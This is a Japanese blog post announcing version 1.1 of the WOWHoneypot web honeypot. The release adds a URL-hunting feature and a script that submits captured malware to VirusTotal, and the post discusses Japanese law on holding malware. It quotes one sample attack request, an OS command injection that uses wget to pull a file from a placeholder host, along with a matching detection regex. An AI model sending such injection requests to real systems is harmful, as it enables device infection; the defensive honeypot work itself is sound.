WOWHoneypot の Version 1.1 公開
どうも。ハニーポッターの森久です。
長期連休も終わりに近づいていますが、みなさまいかがお過ごしでしょうか。
特になにもイベントは無かったという方は、ハニーポットを植えてみましょう。無味乾燥な連休がハニーポットのお手入れをしたという想い出に変わりますよ。
さて、今回はWOWHoneypot の新機能についてご紹介します。
このほど新しくハンティング機能を追加しました! またこの機能と連携する新しいスクリプトファイル chase-url.py を公開しました。
GitHub: WOWHoneypot
https://github.com/morihisa/WOWHoneypot
この機能を使うことで、怪しい URL を収集できます。
背景
4月に StudyCode という勉強会の懇親会 LT でちょっとしゃべってきました。
この発表で主張したかったことは、ハニーポットで得た情報を元に、マルウェアの取得・保管の目的をどのように説明すればいいかということです。ここが不明だったので、マルウェアの自動取得機能の実装をやめました。
ウイルスの取得・保管罪とは 正当な目的がないのに、その使用者の意図とは無関係に勝手に実行されるようにする目的で、コンピュータ・ウイルスやコンピュータ・ウイルスのソースコードを取得、保管する行為をいいます。 2年以下の懲役又は30万円以下の罰金が課せられます。 |
不正指令電磁的記録に関する罪(警視庁)から引用
http://www.keishicho.metro.tokyo.jp/kurashi/cyber/law/virus.html
ハニーポットを運用する人は、遵法精神があり、悪意のない、技術者しかいないと思います。もちろん他人の端末に感染させる目的で取得および保管することはありません。
しかし、そのような人たちであっても、現在の日本国の法律上、マルウェアの取得や保管に関して、その目的を問われる可能性があります。
もしもこういった状況に陥ったとき、説明する責任があります。
ただこの説明をどうすればいいのかわからなかったで、ハニーポット開発において、マルウェア本体の自動取得機能は実装しませんでした。
これでは、せっかくハニーポットによるセキュリティ対策を志したとしても、効果が減ってしまいます。
そこで、説明できるように工夫しました。
WOWHoneypot のハンティング機能
WOWHoneypot は Web に特化した、サーバ型低対話型のハニーポットです。このハニーポットを実行すると、下記のような要求を観測する場合があります。なお説明のために脆弱性を想定した攻撃ログです。
1 2 3 |
GET /admin.php?ping=;wget%20http://www.example.com/akanyatsu HTTP/1.1 Host: HoneypotIP Connection: close |
ひと目見て分かる通り、admin.php ファイルに対する OS コマンドインジェクションです。
ping パラメータに指定されている文字列の先頭が、;(セミコロン)で、その後に wget コマンドが続いています。
ルータの管理ページなどで、ping コマンドによる疎通テストをするフォームに脆弱性があると、上記のリクエストにより、ルータにファイルをダウンロードさせることが可能です。後は、ダウンロードしたファイルに実行権限を付与し、実行する要求を出せば、ルータをマルウェア感染させることが可能となります。
ハニーポットは、このような攻撃があったことを分析することが第1の目的です。ただし副次的に、攻撃者の狙いを掘り下げるために、ダウンロードするファイルの解析が必要な場合があります。たとえばボットネットに感染させることが目的なのか、DDoSのゾンビの1台にするためなのかなどです。
そのためには、攻撃内容に含まれる URL の「http://www.example.com/akanyatsu」を調査しなければなりません。
サイバーセキュリティの世界では、攻撃が先におこなわれて、後から防御側が調査することが多いです。ハニーポットも攻撃を観測してから、ログを分析することができます。
この観測から調査までには、時間の開きが発生します。
もしも攻撃者によって、調査をするまでに akanyatsu ファイルを削除されてしまったら、攻撃者の狙いを掘り下げることができなくなってしまいます。
そこで考えだしたのが、WOWHoneypot のハンティング機能と、連携するスクリプトファイル「chase-url.py」です。この機能は、あらかじめ指定した文字列に合致した要求があった場合、その文字列をログとして保存することができます。
たとえば、「wget.+https?://[\w/:\.\-]+」というルールをあらかじめ用意しておきます。
そしてハンティング機能を有効にしてき、、先の攻撃リクエストを受付た場合、内容に一致するので、「http://www.example.com/akanyatsu」の URL を保存することが可能です。
次に「chase-url.py」を使うと、ハニーポットのメモリ上にキャッシュしたファイルを VirusTotal へサブミットします。マルウェア本体はディスクに保存しません。
このハンティング機能と、chase-url.py を連携することによって、後追いでログ分析することになったとしても、VirusTotal に情報が残っており、攻撃者の狙いを知ることが可能です。
ただし、ここで先の懸念点が浮上してきます。
この akanyatsu ファイルをキャッシュすること(ダウンロード)が、先の法律を根拠として目的を聞かれる場合があります。
もし目的を問われた場合は、「VirusTotal という世界中のセキュリティ技術者が活用している、情報共有サイトへの攻撃情報を共有すること」と主張できます。
キャッシュなので、ディスクに保存することはありません。
もちろん WOWHoneypot は、プログラム本体からダウンロードすることは無いし、ハンティング機能を無効のまま使うこともできます。(ハンティング機能はデフォルトで無効です。設定ファイルから有効に切り替えする必要があります)
あくまでハンティング機能の結果を利用した chase-url.py による動作です。
まとめ
WOWHoneypot の Version 1.1 ではハンティング機能を実装し、リリースしました。この機能によって、あからじめ用意しておくルールに合致した文字列をログとして保存できます。
また同時に公開したサンプルスクリプトの chase-url.py を使うことで、ログに記録されている URL からファイルをキャッシュとしてダウンロードし、VirusTotal へサブミットすることができます。
この連携によって、ハニーポットのログを後追いで分析をすることになったとしても、攻撃者の狙いを深掘りできる可能性が高くなります。
WOWHoneypot のハンティング機能と VirusTotal へサブミットする chase-url.py が、ハニーポッターのみならず、マルウェア解析者や広くセキュリティ技術者に活用していただけたら幸いです。
参考情報
VirusTotal は独立行政法人 情報処理推進機構(IPA)でも紹介されている Web サイトです。
https://www.ipa.go.jp/security/txt/2008/09outline.html